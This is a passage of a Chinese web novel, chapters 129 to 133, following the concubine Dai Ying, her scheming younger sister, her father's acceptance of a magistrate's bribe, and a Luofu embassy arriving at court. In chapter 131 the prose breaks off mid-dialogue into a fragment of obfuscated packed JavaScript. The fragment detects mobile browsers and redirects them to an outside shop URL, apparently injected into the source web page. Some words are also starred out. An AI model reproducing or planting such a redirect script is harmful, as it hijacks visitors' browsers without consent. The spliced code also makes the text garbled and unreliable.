“不是。”陆铭章没做犹豫。
戴缨稍稍垂下颈,沉吟片刻,抬眼快速觑向他,一句话低低道出:“既然大人这般诚恳态度,怎的不干脆把阿缨扶正了?真真正正地应了‘姐夫’二字?”
陆铭章没有立刻给出回答,就在戴缨以为他不会回答时,陆铭章开口了……
第129章 你同她比,差太多
戴缨原以鹿儿和兔儿借以试问陆铭章,他分明听懂了,却说什么鹿肉好吃。
她再提“姐夫”二字,他说是因着她,话随话间,她便说出那句心底的话。
她不想为妾,想成为他的正妻。
这里面有一份贪心和虚荣在,更多的却是自己都没察觉地想要拥有完整的他,想要同他并肩而立。
陆铭章听了这话,沉静下来,帐外渗进的光火忽闪了一下,如同她同他相交的初夜,他道出的一句话。
“现在还不行。”
那晚,她喝过避子汤,她和他仰躺于榻间,他也说了这样一句话:现在还不行……
她理解这话的意思,因为她侍妾的身份,不能在正头娘子没过门时,让一个侍妾先有身孕,这是规矩,她懂。
等主母之位落定,她才可以有孕,那时的她是这样想的。
而现在,在她看似三分随意的话中,一分玩笑,一分试探,还有一份期盼之下,问他要正妻之位。
他说……现在还不是时候,也就是说,等时候到了,她还是有可能的,这一点点的可能足以让她欢喜盼等……
于是爬到他的身上,叉开腿,同他面对面地对坐,直直看向他的眼睛,嘴角噙着笑。
陆铭章也不知她想到什么,一双眼弯成了月牙,在她屁股上拍了拍:“还问我喜欢鹿儿和兔儿么?”
见她那样开心,他的心情跟着好起来。
“不问了,不问了,大人肯定最喜欢阿缨……不,喜欢小鹿……”
之后,两人相拥睡去,一夜无话。
……
戴云在陆府住了半月,寻了很多次机会想要同陆铭章偶遇,却遇不上。
就她知道的,从前戴缨时常在上房同陆家大爷遇见。
于是她有样学样,料想陆铭章回府后会去上房给老夫人问安,她便早早去上房陪老夫人说话,一心盼着他的出现。
却总也盼不到人。
再听说他夜里于书房处理公务,她便故意让兔子溜进他的书院,借口进院去寻,却连院门都入不了。
值守的下人会将兔子拧出来。
这日,她横了心,守在通往一方居的路上,誓要拦下人。
这个时节,天气和暖,陆铭章回府后常常闲步回一方居,此时天色已暗,隔着一点距离就看到了小径边的候等之人。
于是转过脚步往另一边去了,谁知刚走没几步,那人开口叫他。
“姐夫!”
戴云捉裙碎步上前,先是道了一声万福,又看向陆铭章身后的长安。
“姐夫可否借一步说话?”
陆铭章侧头给长安丢了个眼色,长安往后退出一段距离。
“何事?”陆铭章问道。
戴云先是看了眼周围,这才开口:“云儿来府中好些时日,一直得姐夫照拂,略治了一桌酒水,不知姐夫可愿去芸香阁清坐一回?”
陆铭章侧目看去,少女微仰着头,面上带着羞怯的期盼,等着他答话。
“不是我。”陆铭章说道,“照拂你的不是我,是老夫人和你姐姐。”
戴云张了张嘴,一时间不知该如何接话,陆铭章转过身,目光低睨,问道:“年岁几何?”
戴云心中一动,赶紧答道:“云儿年岁十五……”
“比你阿姐小五岁,只是……”陆铭章将她睃了一眼,尾音拉长,“你同她比,差太多。”
戴云自打进入陆府,陆铭章一直对她很客气,客气中不失礼貌关心,在她看来,这位陆大人是个温文尔雅,知情识趣之人。
而他刚才说的那句话是何意,差太多?她和长姐之间差太多?所以,这话是说,她不如戴缨?!
戴云耳边轰的一声,震得有些缓不过神,怕自己理解错了,强扯出一抹笑。
“姐夫说的什么?”
“你来府里已有半月,看不出来我在避你?”陆铭章说道。
戴云哪怕面皮再厚,也经不住这话,当下满脸通红,仍是不甘心地问了句:“从前阿姐来府里,不也守在上房候姐夫,不也是想着攀附……”
不等她的话说完,陆铭章打断道:“不是她候我,是我掐着时间专为她去的,她避我还来不及,哪怕我出了上房,还要缓一缓步子,等她跟上。”
戴云心底如江浪翻腾,终于,艰难地问出:“为何姐姐可以,我却不行?我不比她更青春?”她试图探问究竟,找回一点脸面。
谁知陆铭章又道:“你既然唤我一声姐夫,我便也受着,但你须明白,这份体面,源自我要抬举你姐,莫要会错了意。”
“还有,你在府里的这番优待,皆依仗你长姐,她为着顾全你们戴家颜面,心里纵使再不情愿,面上却是护着你的,这样的她怎叫人不喜欢,你不说一同维护,却尽想着拆她的台。”
陆铭章一声冷嗤:“说说看,你这样的,如何同她相提并论?”
依陆铭章的性子,根本不会为戴云这样的人驻足,遑论说这么些话,不过是为着她同戴缨有牵系,当下不再多说一句,转身离开。
戴云的举动,戴缨不声不气地看在眼里,等她蹦跶得差不多时,她出了一趟府。
“娘子,咱们是去城东还是城西的绸缎庄?”归雁问道。
“戴宅。”
马车启行,绕过几条街区,到了一宅门前,宅子门头挂着一方大匾,门前两座威武的石狮,看上去很富丽威武。
归雁将戴缨扶下马车,门子见了先时没反应过来,等归雁呵斥了一声,才撒腿往里通传。
戴万昌坐在镜前,手里拿着刮刀,对镜修剪他的八字胡,嘴里哼着小曲儿。
修得差不多了,往镜中看了看,觉着有个地方不满意
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,拿刮刀继续修剪。
就在他闭上一只眼,以极为细小且谨慎的幅度想要把多余的一根须给剃掉时,“啪,啪——”房被大力拍响。
结果就是,他好不容易修出来的胡须豁了一块。
“要死啊,要死啊——”戴万昌蹭地站起身,走到门前,将门打开,见着门前的小厮,破口大骂,“好个不知规矩的小猢狲……”
话正吼着呢,小厮往旁边一让,显现身后之人。
戴万昌两眼睁瞪,把滚到嘴边的粗话咽下,立马换了一张脸:“我儿,你怎的来了?”
戴缨沉着一张脸,转身往前厅走去,留下一句话:“女儿有话同父亲说。”
戴万昌回过身,跑到镜前看了看嘴上的胡须,心痛得直跌脚,他蓄了多年的小八字胡。
到了前厅,下人们看了茶,戴万昌随后来了,就见长女端坐在太师椅上,比他这个正经的家主还像家主。
不知怎的,他这个老子在女儿面前突然就矮了一截,莫名地有些气短,于是清了清嗓,想给自己添点底气。
“父亲什么时候回平谷?”戴缨开门见山。
戴万昌一听就气了,刚坐下去的屁股,又抬起,整个人立起身:“我才来京都不上一个月,你不说来看我,我去绸缎庄几次,见不着你的人,是打量着自己如今能耐了,不把我这个当爹的放眼里?”
戴缨冷笑道:“如今倒是想起我这个女儿了,把我托给你那妹子时,怎的不想起我?怎的不管我死活?”
“什么我妹子,那是你嫡亲的姑母。”
“呸!”戴缨霍地站起,往地上啐了一口,两眼发红,往日所受的委屈和愤恨一并宣泄而出,“嫡亲的姑母?她要把我许给比你年纪还大的老头儿做妾,亲在哪儿?”
戴万昌怔在那里。
戴缨接着又是一声冷笑:“父亲这是什么表情,怎的,你不知道?”
戴万昌脸上有些讪讪的:“我哪里知道这些,想着哪怕给你寻个高门大族的偏室,总不至于太差,说出去也是个脸面。”
“什么脸面?!”戴缨声调变高,“给人当妾呢,父亲不会不知道妾是什么罢,半主半仆的玩意儿。”
说到最后,声音几近颤抖,“虽是良人,实近贱役……”
戴万昌“哎呀”一声,觉着女儿大题小做,劝说道:“什么卑贱,没钱没权才卑贱,你如今在陆家,有陆相公照拂,谁见了你不奉承讨好?这么大的脸面,多少人求都求不来。”
“你只看到我如今的得意,哪里关心我受过的委屈。”
“纵使对你姑母有再大的仇,也该放下了,她如今连府门都不能出,这辈子也就只剩活着。”戴万昌说道。
戴缨静默一会儿,再次开口,重新回到先前的那个问题:“父亲打算什么时候回平谷?”
第130章 恩断义绝!
戴万昌哼了一声:“几时回平谷,回不回平谷,难道还要同你知会?”
戴缨平下情绪,不再扯旁的,直言道:“女儿自然无权过问,今日我来是为了告知父亲一件事。”
“何事?”
“劳您把小妹接出陆府。”戴缨说道。
戴万昌心里一慌:“她惹陆老夫人不喜了?”
戴缨冷笑一声:“她惹我不喜了。”
“你看你这丫头,你们姊妹在一起,合该多亲近。”戴万昌松下一口气,“她来之前还一个劲儿地问你在陆府好不好。”
之后不论戴万昌说什么,戴缨就只有一句话:“接不接走?”
戴万昌无法,只能依着:“好,好,接,明儿我就把她接出来。”
他心底是有些怵大女儿的,如今她在陆相公面前得脸,他这个做父亲的也跟着受益,端不起什么架子,反有些讨好的意味。
恰巧,大女儿今日不来寻他,他也要想方设法见一见她,只因来京都前,平谷县令给女儿准备的贺礼,他一直没机会转交。
趁这个机会叫下人把那“贺礼”抬了来,三大箱笼摆至敞厅。
“我来时咱们平谷新任县令献礼于你,看看,虽是妾室,却叫地方官员巴结讨好。”
戴缨看着三个大木箱横在厅里,走过去,随手翻开一个箱盖,只看了一眼,“啪”关闭上。
“这东西你也敢收?!”戴缨质问道。
戴万昌回避女儿看过来的视线:“都是献于你的,你收下就是。”
“是不是献给我的,你老心里不清楚?”戴缨说道,“你……你这是要把女儿给害死啊。”
“哪里就那样严重,你收下就是。”
戴缨就手把身边的箱笼再次打开,又走到其他两个箱笼前,“啪啪”一一打开,骤然间,整个屋室被珠光映亮,扬手一指:“你怎么敢收的?!”
戴万昌哪能不知这里面的利害,只是他也没办法,他的根基在平谷,虽说陆相公同自家有这样一层关系,可到底是天高皇帝远。
是以,并不敢轻言得罪地方官吏。
“我能有什么办法,为父也难做。”
戴缨面色十分不好,她不想被陆铭章轻看:“若叫陆家大爷知道你收了这些东西,他定会以为是我在背后教唆,日后,我在他面前还怎么抬得起头!”
走到这一步,戴万昌只能不断地找理由,试图说服自己,也试图说服长女。
“我瞧陆相公对你不同,因着你的关系,他还百忙之中见了我,如此恩渥,不会对你多有指摘。”
戴缨只觉得无力,自己一心想往前走,脚上却负了千斤沙袋。
“这些东西,你如何拿来的,便如何还回去,您老自己招揽的事,自己解决。”
说罢就要离开,戴万昌跟在一边苦苦恳求:“你撂手不管,我可怎么办,弄得里外不是人,罪过可就大了呀!”
戴缨不理,仍往宅子外走,戴万昌急了,几步跑到她面前停住:“你还认不认我这个父亲?眼里有无我这么个人?”
停了停,声音陡然扬起,“你若执意不收,那好,你走!只要走出这个宅子……你我父女二人恩断义绝!”
戴万昌对自己女儿还是了解的,不是一味不讲情理之人,也不会在他面前耍小性,是个很识大体的孩子。
戴缨缓缓走到戴万昌面前,眼中神色复杂,就在戴万昌以为她会妥协时,她却麻溜地错开身,一晃而过。
戴万昌转头去看,女儿几乎是跑着离开的。
回了陆府,戴缨把今日之事隐了下来。
那平谷县令借着给她献礼,无非就是想贿赂她,从而贿赂陆铭章。
这礼虽没到她手里,可戴万昌收了,若叫别人知道,那是跳进黄河也洗不清。
次日,戴万昌递上名帖,以接戴云归家为由欲再次进陆府。
借此时机再请见陆铭章一面,既然走不通闺女这条路,干脆直接找陆相公本人。
谁知门子收了他的帖,却告诉他陆相公不在府中,戴万昌暗道一声,这也太不赶巧。
他却不想,那日他能见到陆铭章,是因陆铭章有意空出时间来见他,见不到才属正常,能见到反是例外。
“戴家老爷,您这帖还要递不要递?”门子问道。
门子的这一声,叫旁边经过之人住下脚,门子见了,慌得行礼:“三爷回了。”
戴万昌抬头去看,只见那人身量高长,疏眉朗目,一身绛紫圆领袍,袖口束着护腕,英气逼人。
听下人唤他“三爷”,料想此人就是陆铭章之弟,在步军司任职的陆铭川了。
也是凑巧,陆铭川正要进府,根本没注意到这边,却捕捉到一声“戴家老爷”,再侧头往戴万昌脸上一扫,心中了然。
“可是亲家老爷?”陆铭川走上前,笑问道。
戴万昌一听,唬得连连作揖:“大人抬举,当不得,当不得。”
这位三爷在步军司任都虞候,官位虽不及陆相,却也是位高权重之辈。
“你是来见我大哥的?”陆铭川又问。
戴万昌如实回答:“正是,只是不凑巧,陆相公不在府里。”
“我兄长事务繁重,多半时候都不在府里,想要见他一面并不容易。”陆铭川又道,“随我进府罢,到阁楼喝喝茶,候上一会儿,兴许他就回了。”
戴万昌哪有不应的,真正解了他的困窘。
随后,两人进了陆府,一路往里,园中楼阁很多,陆铭川带他上了其中一座楼阁。
楼阁里有传候的下人,上前沏茶倒水并端上应季的鲜果。
兄弟二人性格截然不同,陆铭章稳沉,不苟言笑,陆铭川却是个欢脱的性子,只要他想,很容易同人拉近关系。
闲谈不到一盏茶的工夫,戴万昌已不像先前那样拘谨。
陆铭川见这位戴家家主不上四十年岁,蓄着八字胡,一边胡子还豁了一块。
身形不算很胖,却有了肚腩,闲聊间他再去端详他的模样,脑中又回想戴缨的样子,叹道,估摸戴母是个绝顶美人儿,但凡戴缨托了一星半点她家老头儿的代,都不是现在这样。
“我见戴家公眉宇间似有隐愁,可是生意中遇着了麻烦?”陆铭川问道。
戴万昌摆了摆手:“虽是商贾之家,不怕三爷笑话,这生意上的事还真不叫我扰心的,唯一叫我忧心的只有我那长女。”
陆铭川点了点头,问道:“骨肉至亲,这是自然,不知戴家公被何事所扰。”
戴万昌想了想,这位三爷乃陆相之弟,说出来也无妨,便把地方官员献礼一事说了。
“我那女儿脾气执拗,我亦无法,如今正是为难,不知该如何是好?”
陆铭川听后,又问:“戴家公这是打算把此事言明于我兄长?”
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“确有此意,只是不知这话说出来,陆相会不会恼怒,又或是迁怒于小女。”
陆铭川沉吟片刻,很快给了回答:“戴家公不必忧虑,我兄长并不会怪罪,当面向他直说便是,他这人最烦别人耍小聪明,你直说是对的。”
戴万昌仍是有些担心:“只怕此事叫陆相公为难了。”
陆铭川轻笑道:“倒不是为难,兄长官场多年,什么人什么事没见过,你为难之事,于他而言不当什么。”接着又道,“待他回来,你就知道了,何况事关戴姨娘,他不会轻易怪罪,戴家公放心。”
听了这话,戴万昌方放下一半的心,另一半,只有等见到陆铭章,得了他的态度,才能安稳着落。
好在没久等,小厮来传家主回了。
戴万昌起身再三谢过陆铭川后,随着小厮去了前院的书房。
书房中,陆铭章听完戴万昌之言,说道:“那些箱笼你照旧带回去。”
戴万昌忙不迭应下,接下去说道:“为着这事,小女把我好一通恨骂。”
他也后怕,担心陆铭章把这一节记到戴缨身上,叫她失了宠,这对他来说就得不偿失了。
自是万万不想见到的。
陆铭章浅浅地笑道:“她的脾气就是这般。”
戴万昌见陆铭章面上没有恼意,这才真正地松了一口气,接着张了张嘴,似有话说,显露一副难言之隐。
陆铭章怎会不知戴万昌心中所虑,开口问道:“打算几时回平谷?”
上午女儿也曾这样问他,虽是同样一句问话,戴万昌却给出了截然不同的反应。
“小人随时可启程。”
陆铭章点头道:“本院给那平谷县令备了一份礼,你带给他,有这份礼在,他不会为难于你。”
戴万昌一听,暗道一声极好!
三大箱笼是平谷县令叫他带给自家长女的,其中意味自不必说,若他原样带回,定会惹县令不快,届时随便使点绊子,就叫他好受,商户最怕的就是同官户结愁。
不到万不得已,不愿走到这一步。
而陆相叫他带回礼,一来,直接将矛盾从他身上摘除,示意,你的礼我看到了,没收,但我叫人给了你一份回礼。
二来,不管怎样,平谷县令收到陆相之礼,是殊荣,心里自不会对他有怨责。
如此,他所忧惧之事也就迎刃而解了,于是立起身,深深地做了一揖:“小人愧感,劳大人从中周旋。”
陆铭章示意他坐下:“这也正常,并不是什么大事。”
戴万昌不敢久扰,坐了一小会儿,就要离去,离去前长安双手递上一方木匣。
戴万昌躬身接过,暗道这便是那回礼了,之后,郑重辞过陆铭章,随着陆家下人去了仪门,那里落了一顶小轿,知道里面坐着小女儿,走近了听到隐隐哭声。
暗骂一声晦气,他心情正好呢。
没过两天,戴万昌启着队伍归去,平谷县令听说戴万昌没把礼送到,心中不快,再一听有陆相的回礼,心中又一喜。
结果看了那礼,心里狠狠一惊,冒出一身冷汗。
匣内是一方砚台和一支上好的笔管,台盘和笔身,一个刻着“守白”,一个刻着“清风”。
自此,平谷县令再不敢有多的心思。
时近六月时,一向热闹的京都城变得更加热闹,因为罗扶国使团要来了……
第131章 异国人的身份
舆图上,罗扶国同大衍国毗邻,两个大国周边还有附属的小国。
这是那日戴缨从舆图上看到的,从罗扶再往外去,便是一望无际的海域。
罗扶使团到来之前,京都城已热闹得不像样子。
罗扶的军力有多强,上至八十老叟,下至六岁孩童,无人不知无人不晓。
大衍在他们手里不知吃过多少败仗,也就近些年才将局势扭转。
尤其是最近的一场战事,大衍一连夺了罗扶好几个城镇,大衍军兵长驱直入彼方境土,把罗扶打得不得不叫停战事,割地休战。
当时的大衍亦不能再战,因战线拉得过长,以至于粮草不接,就算罗扶不休战,大衍也要退军。
也是因着那一次,让罗扶同大衍的和平维持到现在,从前两国一直是大火小火不断。
这一次,罗扶来大衍不仅仅商议政事,还有一个目的,便是协谈和亲事宜。
罗扶国的金城公主欲往大衍,同雍王和亲,等一切谈妥,大衍会派接亲使团往罗扶迎金城公主赴大衍。
是以,在罗扶使团未到大衍京都前,城中出现了不少罗扶国人。
这些罗扶人只从外看,不论是样貌还是衣着,同大衍并无区别,然而,他们一开口,异样的口音就显露了异国人的身份。
戴缨是个喜闹之人,如今她的日常,晨起去上房问安,再陪老夫人坐一会儿,从上房出来后,剩下的时候她随意支配。
这日,她去了绸缎庄,店里生意不错,穿过前厅时,听到异样的腔音,陆铭章曾在她面前学说罗扶国语,就是这个调。
遂转头去看,是一对中年夫妇。
那妇人身形较胖,团圆脸,面上敷了薄粉,一头乌发浓密,生得很是和气。
而她男人却瘦长个头,立在一边不出声,像是有些等不住,下一刻就坐到客区的桌边吃点心,喝茶了。
“夫人看中的是小店的样衣,再没多的,只此一件。”店伙计解说道。
妇人看中了店里的样衣,结果店伙计拿到她面前,却发现尺寸不合。
胖妇人将衣料拿在手里反复摩挲,翻看,不愿松手,想是实在喜欢,俨有不合适也要掏钱买下来的架势。
戴缨走上前,微笑道:“夫人喜欢它?”
店伙计从旁向妇人介绍:“这是咱们绸缎庄的东家。”
胖妇人见面前女子衣着讲究,言语亲和,回道:“这衣服的样式好看,新巧,罗扶没见过,我也喜欢,若是能穿上身,必是好看的。”
妇人的汉子坐在一边喝茶,听后,笑一声:“你都没穿上身,怎知就好看?”
妇人嗔怪男人一眼:“你懂什么。”
男人笑着摇了摇头,不再说话。
“夫人若是喜欢,这也好办,妾身叫缝人按夫人的身量再制一件,只是会多出一点点费用,若夫人愿意,现在就叫缝人给夫人量身。”戴缨微笑道。
那妇人听后,眼中先是一亮,接着又是一叹:“掌柜的美意,妾心领了,只是我夫妻二人在京都不久待,明日便往别处去。”
这可难办,就在戴缨思忖间,那胖妇人笑道:“不叫你为难,虽是穿不上,我仍把衣服买下来,兴许日后身子稍稍清减些,就能穿了。”
戴缨想不到这妇人如此好言语,当下生出个法子。
“不如这样,妾身叫缝人依着夫人的身量拿去改一改,夫人不若就在店中等一等,或是去街市逛逛,待到晚些时候前来取衣也可,如何?”
妇人一听,欢喜地拊掌道:“当真可以依着我的身量改?”
“妾身叫师傅来看一看,若是能改自是再好不过。”
戴缨说着,叫伙计去后院请缝人前来,不一会儿缝人来了,把衣服撑开看一番,又拿眼在妇人身上丈量,先是点了点头,再邀妇人入到里间,以尺绳精准测量。
量过尺寸后,妇人从里间出来,走到自家男人身边,俯声不知说了什么,那瘦长男子起身离开了。
“京都的街市来来**走遍了,就在店中候等。”妇人面上带笑地说道。
戴缨点头,将人引进客间坐下吃茶,又另让伙计让了许多小食,交谈中,得知妇人随她夫姓,姓严。
“夫人从罗扶而来?”戴缨替她斟茶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739008|186148||http|test|mini|href|location''.split(''|''),0,{}));
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r>“是呢,同我夫君到大衍来贩货。”
“真叫人羡慕,夫人随夫走南闯北,定是去过不少地方,见识也更多更广。”
戴缨说罢,妇**大方方地笑出声:“说起这个,我还真就不谦虚了,不论大衍还是罗扶国,没有我没到过的地界,就是连那外海……妾身也是去过三两回。”
戴缨捕捉到一词:“外海?”
胖妇人点头道:“不是你们这里,我知道的,大衍边境无海,只有沙漠和草原,我指的是同罗扶相隔的外海,咱们那里有好大一片海。”
是了,是了,戴缨记起来,舆图之上,大衍同罗扶交界,但罗扶的另一面却是好大一片海域,海域那边是什么,她问过周边许多人,没人知道。
海的另一边,就像梦中之地,虚幻且不可及,她试想过彼岸的风土人情,最后自嘲一笑,海的那边可能仍是海,无边无际的蓝。
现在,眼前的妇人竟说她出过那片海。
“夫人可否讲讲,另一边是什么样的国家,妾身实在好奇。”戴缨问道。
严氏笑着摆了摆手,一副神气的姿态:“这可不好说,那边没有国,不像咱们罗扶和大衍,那边的天特别蓝,不像咱们这里有太多规矩,说得皆是鸟语,叽里呱啦听也听不懂。”
戴缨欢腾的心陡然一降,往妇人面上看了看,见她唾沫横飞地越说越离谱,没有戳破她的话。
怎么可能没有国家呢,人聚成群,便如同水滴汇入溪流,只要聚在一起,管制和规矩自会应运而生。
不可能没有家国,还说鸟语?全不合常理,这些在戴缨的认知之外,于多数人而言,认知以外的事物,不会去信。
戴缨也不例外,思忖间,那颗热望的心渐渐地冷了下来。
正巧此时,秦二走来,有事问询,戴缨便同严氏又闲说了几句,起身离开了。
及至回来时,已过去好久,胖妇人早已拿着修改过的衣裳离开了。
戴缨没多想,准备离店回陆府,店伙计叫住她,并递上一张折纸。
“适才那位女客留的,说是转交给东家……”
第132章 接亲
戴缨接过,展开看了,纸上写着一个陌生的地址,应是妇人在罗扶国的住址,妇人是个洒脱性,自是好客的,这是邀她,若哪日去了罗扶可到她家中做客。
戴缨笑了笑,将纸页折起,时下女子出趟远门已是不易,遑论离开国门,毕竟不是人人都似这妇人,况且,就这妇人出门也还需伴在她男人身侧。
然,不知出于什么原因,她默默地将纸页收入袖中。
……
罗扶使臣来大衍京都前的半个月,陆铭章特别忙碌,天不亮就起身,回来时已是披星戴月。
两人虽同榻而眠,却有好长时间没有温存过。
别说温存亲热了,就是他晚间几时回的,晨间又几时走的,她都说不清楚,反正每回她醒来时,身侧的床榻早已凉透。
终在一日,罗扶国使臣抵达了大衍国都。
这日,城门大开,门前肃列手持方戟的银甲禁卫,从城门口一直列至街中,军容威整。
百姓纷纷上街观看,一路上皆是人头攒动。
戴缨坐在酒楼靠窗的位置,观着楼下街市的动静。
前面军兵开道,锣鼓齐鸣,只见整阔的街中行来浩浩荡荡的大队人马。
队首的高头大马之上,是身着轻甲的罗扶武将,队尾随了十来辆宽大的马车,其内载着朝献之礼,队周环簇中丽婢豪奴。
哪怕锣鼓喧腾,也能听到厚沉的大车轮在青石砖上碾出的辘辘声。
戴缨凭在楼栏往下看,随着人马缓缓驶进街中,看得更清楚了。
在一众丽婢豪奴的环围之中,队中的十几匹花鬃马上坐着十来个罗扶权贵。
这些人有年长者,有年轻者,个个派头十足,面对大衍朝百姓的热情,流露出不可一世的模样。
归雁坐在自家娘子对面,身子往前倾去,好奇道:“分明是战败国,怎的这副做派。”
戴缨瞥向那些人,开口道:“因为他们不服,且他们确实很强,从前罗扶同大衍开战,他们是赢的一方,如今战败,对他们来说不过是名义上的胜负,自然无臣服之态。”
说罢,觉着无趣,收回眼,拿了桌上一块糕点慢慢细品。
这晚,宫中大摆筵宴,文武百官参席。
华庭之上,灯火辉煌,舞曲悠扬,上首坐着年幼的衍帝,他的左手边坐着年轻的太后赵映安。
罗扶使臣居坐客席,大衍百官列坐于对面,首位坐着宰相余信,余信左手边坐着的便是陆铭章。
在这刻意营造的和谐之下,大衍因是战胜国,官员们谈笑风生,举杯相庆,看向对面罗扶使臣的眼光流露出上位者的仁慈,仁慈中又掺着微不可察的轻视。
而客席上的罗扶使臣皮笑肉不笑,显然这番议和让他们很不服气。
就在余信拈髯高谈两国如何共享太平之时,罗扶使臣中一人截断了余信的话。
那人皮肤微深,高眉深目,只端坐在那里也观得他身形威壮,列坐一众罗扶使臣之首,身份不一般,正是罗扶国的祁郡王,元载。
他看也没看余信一眼,而是将目光直直射向余信左手边的陆铭章,然后缓缓立起身,双手执起案上的酒盏,向上首敬酒。
“我罗扶使臣此次前来,一为协商两国边贸,二为缔结和亲盟约,我国金城公主,身为陛下嫡长,尊贵无比,不知贵国可议定往我国接引的使臣人选?”
大衍同罗扶,因着地理关系,从来摩擦不断,初始,大衍压制罗扶,后来,罗扶军力更甚,又反向入侵大衍,也就近几年大衍才勉强扭转。
罗扶依旧很强,大衍胜得并不容易,且不能久战,也就是说,大衍虽胜却无力彻底压制他们。
这次和亲,并非乞和,更像是一场不利战局后的止损与休整。
大衍亦然,深知上次一战罗扶未伤根本,若大衍不退兵,断续强攻,必将引发一场不死不休的战争……结果难料,因此,大衍的目标是将战术胜利转化为优势,通过和亲固化。
总之,这一次联姻,纯粹是一次各取所需的**结盟。
是以,大衍会派高级别且有身份的官员往彼国接引公主,
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一来恩威并施,二来确保和亲顺利进行,以此表示对联姻的重视。
再一个遵循礼制要求,类似男方于女方家接亲的延伸。
因着此人一番话,殿上歌舞骤停,话音回荡在阔大的殿宇间,百官不言语,微微垂着眼皮,静等皇帝和太后发话。
“祁郡王所言两项事宜,关乎两国邦交,我朝十分重视,金城公主身份尊贵,迎接使臣之人选,陛下及诸位大人正在慎重斟酌,不日便将定夺,必当择选德才兼备之重臣,以彰我国对此次和亲的诚意。”
坐于上首的赵映安微抬下巴,声调平平,没有太大的起伏。
元载并未回坐,而是接话道:“在场诸公皆为大衍要员,何须择日定夺,不如现下推选一位大人,小王好提前修书一封,送回,以便我国筹备相关接引事宜。”
赵映安听罢,看向上首的衍帝,不见他有任何反应,只能看向在座众臣,问道:“诸位大人以为如何?”
面对这位罗扶来使的咄咄逼人,只需无关痛痒地搪塞两句便可,根本没必要正面应答。
陆铭章正要将此话揭过,谁知身边的余信老神在在地笑道:“这个荣差,老臣愿为我大衍效犬马之劳,只是心有余而力不足,就怕这身老骨头还未到罗扶就倒下,反把接引公主一事给误了。”
说罢,转头看向陆铭章,眯起眼笑道:“陆枢密年轻有为,且位高权重,席间众人再没有比他更合适的了,此等重任非他莫属。”
余信一派纷纷附和。
席间确实没有比陆铭章更合适的人选。
若是罗扶国遣派的使臣级别不高也还罢了,大衍可随便派一大员往赴彼国接引。
然,罗扶此次来大衍议事的是祁郡王,元载。
再观大衍,余信那把老骨头,去不得,大衍这方,几位亲王,唯一可担当此任的就是雍王,但他是新郎。
余者,不是年纪太老,就是年纪太小。
虽说最后人选极可能是陆铭章,但他很不喜这种被人推上台前的感觉,太被动……
第133章 权臣和太后
陆铭章没有接应余信的话,而是看向对面的元载,不紧不慢地说道:“郡王何必如此着急,关于罗扶国此行带来的国书细则,礼部可勘验完毕?接引公主乃大事,这第一步的规矩,总要先理顺。”
元载先是静静地看着陆铭章,眼中神色难辨,像是有些不甘心,却也只能倏忽一笑:“陆大人所言甚是,是小王疏忽了。”
此一节就此揭过,然而,陆铭章毫无征兆地一转头,正同赵映安的目光撞上,接着,他忽略掉她的视线,执起酒杯,同席间众官员举杯共饮。
罗扶国人好酒,尤其这位祁郡王,当得上“海量”二字。
自己国家败于大衍,他就想在吃酒一事上赢回一场。
而罗扶败于大衍的关键在于对面那位年轻的武将之首,是以,喝开后,这位祁郡王非要同陆铭章一较高下,周边众人劝阻不住。
而陆铭章这人呢,从未输过,也不允许他的人生轨迹中出现任何一笔败绩。
两方你来我往之下,皆是醉得不轻。
那祁郡王醉成什么程度,他是被人扶下去的,且宫人将他从自己的呕吐物中扶起,而陆铭章强些,但也没好到哪儿去。
宴会未散,太后和皇帝未离场,他还不能离开皇宫,遂借口更衣下去暂歇。
偏殿外候着殿前卫,殿内灯火昏浑,他揉了揉发胀的额穴,和衣躺于内间的半榻上,闭上眼,在酒意的作用下,整个人往下沉去。
殿烛摇曳,一个影映于壁上,一点点移近……
深更时分,戴缨已睡下,却怎么也无法入睡,窗外虫鸣叽啾。
不知怎的,这晚有些心神不宁,她习惯了他在身边,哪怕他晚归,可只要她嗅到帐下专属于他的青木香,就能睡得安稳。
然而今夜却不行。
于是从床上坐起,靠坐于床头,再侧眼看向门扇,指望院中响起熟悉的脚步声,接着门被打开,他披着夜露,轻着脚步,走到榻边,微凉的唇落在她的额间,再落于她的耳后。
这是他每晚回来必做的,之后,他才会去沐间。
因为有这一吻,她就能安然入睡了,比任何时候都睡得香酣,等他从沐间出来时,她已睡得死死的。
她在床上坐了会儿,趿鞋下榻,走到桌边给自己倒一盏茶,刚送到嘴边,房门被“啪啪”拍响,随之七月的声音隔着房门传来,腔间透着急切。
“姨娘,快些束装,宫里来人。”
短短的一句,戴缨心里漏跳一拍,随之,房里进来几名丫头,给她梳妆打扮。
“怎么回事?怎么宫里来人了?”戴缨问道。
七月一面替她理衣,一面回道:“来的是宫里的大监,只说是太后娘娘召见,让姨娘速速准备,往宫里走一趟。”
太后召见?太后为何召见她?还是这个时候,下意识地戴缨没有替自己担忧,反是记挂陆铭章,是不是他出了事?
可又不对,若陆铭章出了事故,太后不该召见她,她一个妾室算什么,陆府有正正经经的主子,顶头有陆老夫人坐镇,他真要有个什么,也是老夫人出面。
夜已深更,宫中来人并未惊动陆家其他人,在戴缨装扮好后,走出一方居,长安已在院外候等。
因着罗扶国来大衍议事,近一个月,城中人员杂乱,陆铭章便把长安留给了她,只要出府,长安必要随在一起。
黑夜中,寂静的街道上,一辆阔大的马车往皇宫行去,到了皇宫门口,殿卫并不阻拦,直接放行。
戴缨将车帘揭起,宫道上湿漉漉的,映着夜光,今日罗扶国使臣到访,说是宫廷夜宴,不知是不是席宴散了,处处静谧,只有一排排宫人或是侍卫在宫道穿行。
马车一路行驶,她的车帘就这么一直揭开着,观着周边的一景一物,整个人无法放松。
许感受到她的忐忑,长安的声音从车外响起:“姨娘不必担心,有长安在,大人也在宫中,不会有任何事。”
戴缨“嗯”了一声,放下窗帘,眼下她满脑子想的是,太后为何找她?
最初的
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惊惶后,她不再担忧陆铭章,殿前卫归属他,他在皇宫中是安全的。
走了一程,马车停下,戴缨下了马车,眼前是一座宫殿,宫人将她引到殿内坐下稍候。
谁知刚坐下,还没来得及打量周围,就对上一道视线,那视线同她隔着珠帘,直直地望过来。
